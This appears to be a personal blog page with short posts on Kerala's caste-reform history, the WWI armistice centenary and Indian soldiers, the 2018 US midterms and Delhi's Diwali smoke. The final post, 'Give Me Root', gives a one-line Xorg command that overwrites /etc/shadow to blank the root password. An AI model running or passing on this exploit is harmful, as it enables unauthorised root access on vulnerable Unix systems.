Changes from the past

 

Pictures from an exhibition arranged at VJT Hall in Trivandrum to mark the 82nd anniversary celebrations of the Temple Entry Proclamation of 1936, which abolished the ban on 'lower castes' or avarnas from entering Hindu temples in Travancore.

There are accounts highlighting the extent of untouchability, caste discrimination, and restrictions on women a century ago. A few exhibits explain the specific distances which the members of various castes had to maintain between them. The brutal treatment meted out to workers from ‘lower castes’ and the ‘Villuvandi yatra’ of social reformer Ayyankali in claiming the right of way by defying conventions that applied to the ‘untouchables’ are explained. Besides explaining the circumstances that led to the proclamation, the expo also highlights Mahatma Gandhi’s last visit to Kerala to participate in the celebrations held at the present University College grounds in 1937 to mark the declaration.

 

Misrabhojanam (Panthibhojanam), held on May 30, 1917 by social reformer Sahodaran Ayyappan. Misrabhojanam was the first inter caste feast of Kerala. Prior to this, each caste had their stricter caste codes in food consumption and hence food was seen as a symbol of caste.

A school in Oorutambalam, Travancore was burned down in 1911 by Upper caste Hindus. Reason : School was polluted by the admission of a Dalit Child named Panchami.

 

In 1806, a group of 200 Avarna youth organized themselves to enter Vaikom Temple. The Travancore cavalry led by Kunju Kutti Pilla ruthlessly killed the 200 men & their bodies were thrown into the Kulam (pond) on the north eastern side of the temple compound.

Kallumala Samaram (Stone Necklace Protest) On December 21st 1915 at Kollam, women belonging to Pulaya (Dalit) community threw away the Kallumala (ornaments made out of stone & woods) and proclaimed that they will only use gold or metal ornaments under the leadership of Ayyankali.

Abolition of Thalayara (poll tax) and Valayara (net tax).

Mookkuthi Samaram Ezhava women were also disallowed from wearing the mookkuthi or nose-stud. In 1859, an Ezhava woman in Pandalam marked her protest by wearing a mookkuthi and she was beaten up. Arattupuzha Velayudha Panicker supported the Ezhava women.

 

"What is your caste?" Kerala Kaumudi - Jan 1925. An Ezhava man was punished for entering a tea shop of an upper caste.

Here is the proclamation of 1865 banning slavery.

 

During Guruvayoor Satyagraha in September 1931, P Krishna Pillai became the first non-Brahmin to ring the sacred bell at the Guruvayoor temple ignoring the Guards of Zamorin. Guruvayoor Temple was closed for many days.

 

A temple that didn’t allow women Like Sabarimala, the Thiruvalla Shreevallaba temple did not allow women to enter the naalambalam. In 1841, when a woman entered the temple, rituals were conducted to “purify” it. It was in 1960 that women began coming to the naalambalam.

The Namboothiri Mana which denied Gandhiji and others entry as they were "impure of darshan of lowly people" is now a toddy workers'union office under the CITU.

 

 

From a Lunatic Asylum to Gods own country, Kerala's ride has been a tough one, where every section of the society has played a vital role.

100 years to the War

 

Today, November 11th 2018, marks the 100th anniversary of the armistice, of the great war. Of course, it was not called the ‘First’ World war, because the world never expected more of such a violent war.  Although fought by European powers, the war ended up changing the geo-political map of the whole world.

Even India had to send forces. Read about how Indian soldiers had to fight for a country that was not their own.

Vast numbers of Indians lost their lives in World War I, a war fought at an industrial scale of brutish intensity.

Letters written by Indian soldiers—some of which have fortunately survived in censor reports and have been admirably edited by the historian David Omissi—suggest that several motivations were at work. The material benefits of military service understandably played an important role. Joining the Indian army meant partaking of a well-established system of pay, perquisites and patronage. As former soldier Lehna Ram reminded his son Heta Ram, who was serving in France, “I served the state for 21 years and now receive a pension of `40 from the sirkar. I live in peace and comfort.” And the war effort led to an expansion of this system. “The sirkar has increased the rates both of pay and pension,” wrote Kala Khan to a kinsman in Punjab, “and at the same time has granted free rations.”

 

Above all, their encounters with Europe drove home to Indian sepoys the abject conditions prevailing in India. As one soldier wrote, “When one considers this country [Britain] and these people in comparison with our country and our own people, one cannot but be depressed. Our country is very poor and feeble and its lot is very depressed.” Another observed, in similar vein, “The Creator has shown the perfection of his beneficence in Europe, and we people [Indians] have been created only for the purpose of completing the totality of the world.”

After coming here I learnt of how Australia too was called to fight for the British side.  The first time I read about the world wars were in school, during the much hated ‘history’ classes. I failed to grasp the many reasons mentioned in our textbooks which led to the war, and I still don’t quite understand them. There is no justification for the deaths of millions who perished in the war. But yes, we can remember them. And learn from out mistakes.

 

What was India’s role in the Great War? As the 100th anniversary of the end of the First World War approaches, we look at significant role played by British India. pic.twitter.com/o4IlhZO93r

— Asian Network on BBC Sounds (@bbcasiannetwork) November 6, 2018

 

 

Two is enough for this planet. Lets hope we don’t see a third.

 

 

 

 

 

 

 

 

 

Small Victory

 

There is a blue wave small blue-ripple going through the US today. A small victory for the other side. While the senate remains with the Republicans, the Democrats have taken over the house of representatives.

Will this change anythign ? Hope so. Will have to wait and watch if the system really works, or was it broken permanently.

 

Smoke in the city

 

Wishing everyone in Delhi a smokey Diwali. 

 

Wonder what you are celebrating. Sadly, this disease is only spreading to other cities in India. Its every other city tomorrow.

 

 

 

eXploit X : "Give Me Root"

 

These old school Unix exploits still work !!

 

 

cd /etc; Xorg -fp "root::16431:0:99999:7:::"  -logfile shadow  :1;su